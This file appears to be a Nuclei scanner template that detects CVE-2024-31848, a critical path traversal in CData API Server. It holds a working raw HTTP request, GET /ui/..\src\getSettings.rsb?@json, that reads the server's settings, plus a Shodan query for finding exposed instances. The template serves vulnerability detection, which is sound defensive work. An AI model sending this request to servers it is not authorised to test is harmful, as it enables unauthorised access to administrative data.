id: CVE-2024-31848

info:
  name: CData API Server < 23.4.8844 - Path Traversal
  author: pussycat0x
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  impact: |
    Unauthenticated attackers can exploit path traversal to gain complete administrative access to the CData API Server.
  remediation: |
    Update CData API Server to version 23.4.8844 or later.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31848
    - https://github.com/Stuub/CVE-2024-31848-PoC/blob/main/CVE-2024-31848.py
    - https://www.tenable.com/cve/CVE-2024-31848
    - https://www.tenable.com/security/research/tra-2024-09
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31848
    cwe-id: CWE-22
    epss-score: 0.08151
    epss-percentile: 0.94275
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData - API Server\""
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData - API Server</title>'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200535729af01fdaafca9798b6842fae8e3d89ea78570a15d02e287830edeaf615022100c147bd9cf9b5f6312925bee7c83befa5df444915ff1d9c7f1d476cc4d3a7d3a0:922c64590222798bb761d5b6d8e72950